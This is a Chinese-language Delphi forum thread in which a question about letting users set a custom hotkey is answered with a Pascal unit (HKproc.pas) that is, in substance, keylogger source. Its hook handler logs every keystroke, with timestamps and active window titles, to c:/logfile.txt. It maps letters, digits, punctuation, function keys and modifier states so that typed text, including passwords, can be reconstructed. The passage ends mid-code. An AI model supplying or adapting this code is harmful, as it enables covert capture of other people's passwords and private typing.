如何让用户自己设定一个热键?(200分)

  • 主题发起人 主题发起人 wqhatnet
  • 开始时间 开始时间
W

wqhatnet

Unregistered / Unconfirmed
GUEST, unregistred user!
如何让用户自己设定一个热键?
 
你记录用户设置热键时的按键信息,然后保存,程序再启动时读取上次的设置的热键并加载该热键的功能...
 
晕<br>代码啊<br>这个我知道啊
 
//新建个文本讲以下代码保存为HKproc.pas 在用delphi填加<br><br>unit HKproc;<br><br>interface<br>Uses windows,Messages,Classes,SysUtils,Dialogs,Variants;<br>var<br>&nbsp; &nbsp;hNextHookProc:HHOOK;<br>&nbsp; &nbsp;procSaveExit:Pointer;<br>&nbsp; &nbsp;G_lastFocus:THandle;<br>&nbsp; &nbsp;G_PrevChar:Char;<br>&nbsp; &nbsp;function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;<br>&nbsp; &nbsp;function EnableHotKeyHooK:BOOL;export;<br>&nbsp; &nbsp;function DisableHotKeyHook:BOOL;export;<br>&nbsp; &nbsp;procedure HotKeyHookExit;far;<br><br>const<br>&nbsp; &nbsp; &nbsp;_KeyPressMask=$80000000;<br><br>implementation<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 按键记录方法<br>function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;<br>const<br>&nbsp; &nbsp; &nbsp; SfileName='c:/logfile.txt'; &nbsp; //记录保存本地地址<br>var<br>&nbsp; &nbsp; &nbsp;pEvt:TEventMsg;<br>&nbsp; &nbsp; &nbsp;hFocus:THandle;<br>&nbsp; &nbsp; &nbsp;szTitle:array[0..255] of Char;<br>&nbsp; &nbsp; &nbsp;Stream:TextFile;<br>&nbsp; &nbsp; &nbsp;vKey:Integer;<br>&nbsp; &nbsp; &nbsp;ch:Char;<br>&nbsp; &nbsp; &nbsp;str:array[0..10] of Char;<br>&nbsp; &nbsp; &nbsp;pt:TDateTime;<br>&nbsp; &nbsp; &nbsp;time1:String;<br>&nbsp; &nbsp; &nbsp;iCtrl,iAlt,iShift:Integer;<br>&nbsp; &nbsp; &nbsp;iNumLock:Integer;<br>&nbsp; &nbsp; &nbsp;iCapital:Integer;<br>&nbsp; &nbsp; &nbsp;bAlt,bCtrl,bShift,bCapital,bNumlocl:Boolean;<br>&nbsp; &nbsp; &nbsp;MouPos:TPoint;<br>&nbsp; &nbsp; &nbsp;StrString:String;<br>&nbsp; &nbsp; &nbsp;SPCH:Char;<br>begin<br>&nbsp; &nbsp; &nbsp;Result:=0;<br>&nbsp; &nbsp; &nbsp;if (iCode&lt;0) then<br>&nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp;Result:=CallNextHookEx(hNextHookProc,iCode,wParam,integer(lParam));<br>&nbsp; &nbsp; &nbsp; &nbsp;exit;<br>&nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp;if iCode=HC_ACTION then<br>&nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp;pEvt:=PEventMsg(lParam)^;<br>&nbsp; &nbsp; &nbsp; &nbsp;//if not FileExists(SfileName) then<br>&nbsp; &nbsp; &nbsp; &nbsp;// &nbsp; &nbsp;FileCreate(SfileName);<br>&nbsp; &nbsp; &nbsp; &nbsp;AssignFile(Stream,SfileName);<br>&nbsp; &nbsp; &nbsp; &nbsp;if not FileExists(SfileName) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Rewrite(Stream)<br>&nbsp; &nbsp; &nbsp; &nbsp;else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Append(Stream);<br>&nbsp; &nbsp; &nbsp; &nbsp;if pEvt.message=WM_KEYDOWN then<br>&nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vKey:=LOBYTE(pEvt.paramL);<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hFocus:=GetActiveWindow;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if G_lastFocus&lt;&gt;hFocus then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetWindowText(hFocus,szTitle,256);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; G_lastFocus:=hFocus;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pt:=Now;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time1:=FormatDateTime('(yyyy-mm-dd hh:mm:ss:zzz) &nbsp; &nbsp; &nbsp;',pt);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time1:=time1+' &nbsp; &nbsp;'+szTitle;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Writeln(Stream,Time1);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iShift:=GetKeyState(VK_SHIFT);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iCapital:=GetKeyState(VK_CAPITAL);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iNumLock:=GetKeyState(VK_NUMLOCK);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iCtrl:=GetKeyState(VK_CONTROL);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iAlt:=GetKeyState(VK_MENU);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((iShift and _KeyPressMask)=_KeyPressMask) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bShift:=True;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bShift:=False;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((iCtrl and _KeyPressMask)=_KeyPressMask) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bCtrl:=True;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bCtrl:=False;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((iAlt and _KeyPressMask)=_KeyPressMask) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bAlt:=True;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bAlt:=False;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;bCapital:=(iCapital and 1)=1;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;bNumlocl:=(iNumLock and 1)=1;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (vKey&gt;=48) and (vKey&lt;=57) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,char(vKey));<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (vKey&gt;=65) and (vKey&lt;=90) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if not bCapital then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if &nbsp; bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch:=char(vKey)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch:=char(vKey+32);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if &nbsp; bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch:=char(vKey+32)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch:=char(vKey);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Write(Stream,ch);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (vKey&gt;=96) and (vKey&lt;=105) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if bNumlocl then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;write(Stream,char(vKey-96+48));<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (vKey&gt;=186) and (vKey&lt;=222) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case vKey of<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 186:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:=';'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:=':'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 187:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='='<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='+'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 188:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:=','<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='&lt;'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 189:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='-'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='_'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 190:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='.'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='&gt;'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 191:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='/'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='?'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 192:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='`'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='~'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 219:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='['<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='{'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 220:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='/'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='|'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 221:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:=']'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='}';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 222:<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='`'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='"';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch:='n'<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ch&lt;&gt;'n' then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(Stream,ch);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if &nbsp; (vKey&lt;=VK_F12) and (vKey&gt;=VK_F1) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;time1:=FormatDateTime('(yyyy-mm-dd hh:mm:ss:zzz) &nbsp; &nbsp; &nbsp;',now);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StrString:=Time1+' &nbsp; &nbsp;按功能键:F'+IntToStr(vKey-111)+'。';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Writeln(Stream,StrString);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_ESCAPE then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;write(stream,'[ESC]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_ADD then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(Stream,'+');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_APPS then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[APPS]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_LWIN then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[LWIN]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_RWIN then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[RWIN]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_SPACE then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[SPACE]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_DIVIDE then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[/]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_SCROLL then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[SCROLLLock]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_PAUSE then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[PAUSE]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_SUBTRACT then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[-]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_MULTIPLY then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[*]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_SNAPSHOT then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[PRINT SCREEN Sys Rq]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_CAPITAL then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[CAP LOCK]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_NUMLOCK then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[NUM LOCK]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_DECIMAL then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[.]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_CONTROL then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[CTRL]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if vKey=VK_LMENU then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,'[ALT]');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if bShift then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case vKey of<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 48:spch:=')';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 49:spch:='!';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 50:spch:='@';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 51:spch:='#';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 52:spch:='$';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 53:spch:='%';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 54:spch:='^';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 55:spch:='&amp;';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 56:spch:='*';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 57:spch:='(';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; spch:='n';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if spch&lt;&gt;'n' then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write(Stream,spch);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (vKey&gt;=8) and (vKey&lt;=46) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case vKey of<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;8:str:='[BK]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;9:str:='[TAB]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;13:str:='[EN]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;32:str:='[SP]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;33:str:='[PU]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;34:str:='[PD]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;35:str:='[END]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;36:str:='[HOME]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;37:str:='[LF]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;38:str:='[UF]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;39:str:='[RF]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;40:str:='[DF]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;45:str:='[INS]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;46:str:='[DEL]';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ELSE<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch:='n';<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ch&lt;&gt;'n' then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Write(Stream,Str);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if vKey=VK_RETURN then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Writeln(Stream,'');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writeln(Stream,'输入回车可能是确认或是换行---');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Writeln(Stream,'')<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp;if 